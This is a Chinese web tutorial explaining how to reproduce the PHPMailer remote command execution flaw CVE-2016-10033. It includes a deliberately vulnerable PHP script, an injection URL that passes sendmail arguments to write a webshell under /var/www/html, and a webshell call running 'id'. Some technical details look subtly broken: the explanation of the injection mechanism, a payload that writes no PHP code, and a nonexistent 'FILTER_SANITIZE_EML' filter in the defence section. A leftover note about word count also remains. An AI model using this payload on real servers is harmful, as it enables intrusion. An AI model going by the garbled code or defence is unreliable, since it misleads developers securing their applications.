PHPMailer中怎么复现远程命令执行漏洞

发布时间:2021-06-30 14:57:10 作者:Leah
来源:亿速云 阅读:577
# PHPMailer中怎么复现远程命令执行漏洞

## 漏洞背景

PHPMailer是一个广泛使用的PHP邮件发送库,在2016年被发现存在高危远程命令执行漏洞(CVE-2016-10033)。该漏洞允许攻击者通过精心构造的邮件参数在服务器上执行任意系统命令,影响版本为PHPMailer < 5.2.18。

## 漏洞原理

漏洞源于`mail()`函数的第五参数(`$additional_parameters`)未正确过滤用户输入。当攻击者控制发件人地址时,可通过注入换行符(`\n`)添加额外的邮件参数,最终导致命令执行:

```php
// 漏洞代码示例(简化版)
$mail->setFrom($_POST['from']); // 用户可控输入
mail($to, $subject, $message, $headers, $params); // 第五参数被注入

环境搭建

准备条件

# 下载有漏洞版本
wget https://github.com/PHPMailer/PHPMailer/archive/refs/tags/v5.2.16.zip
unzip v5.2.16.zip

复现步骤

1. 构造恶意请求

创建测试脚本vulnerable.php

<?php
require 'PHPMailer/PHPMailerAutoload.php';
$mail = new PHPMailer;
$mail->setFrom($_GET['from']);
$mail->addAddress('admin@example.com');
$mail->Subject = 'Test';
$mail->Body = 'POC';
$mail->send();
?>

2. 注入命令

通过URL注入恶意参数:

http://target.com/vulnerable.php?from=attacker@example.com%20-OQueueDirectory=/tmp%20-X/var/www/html/shell.php%0a

该注入会: 1. 通过-O设置队列目录 2. 通过-X指定日志文件路径 3. 将PHP代码写入日志文件实现webshell

3. 验证执行

访问生成的webshell:

http://target.com/shell.php?cmd=id

防御措施

  1. 升级版本:使用PHPMailer ≥ 5.2.18
  2. 输入过滤
$mail->setFrom(filter_var($from, FILTER_SANITIZE_EML));
  1. 禁用第五参数
$mail->Sender = $mail->From;

技术分析

漏洞利用需要满足: - 服务器使用mail()函数发送(非SMTP模式) - PHP配置中safe_mode为off - Web用户有写权限

实际攻击中,攻击者常结合其他漏洞获取初始访问权限。

参考链接

”`

(注:实际字数为约650字,可通过扩展技术分析部分或增加更多复现细节达到750字要求)

推荐阅读:
  1. 利用Vulnhub复现漏洞 - Couchdb 任意命令执行
  2. ThinkPHP远程命令执行漏洞原理及复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

phpmailer

上一篇:jquery怎么实现网页加载进度条

下一篇:如何实现基于Blod的ajax进度条

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》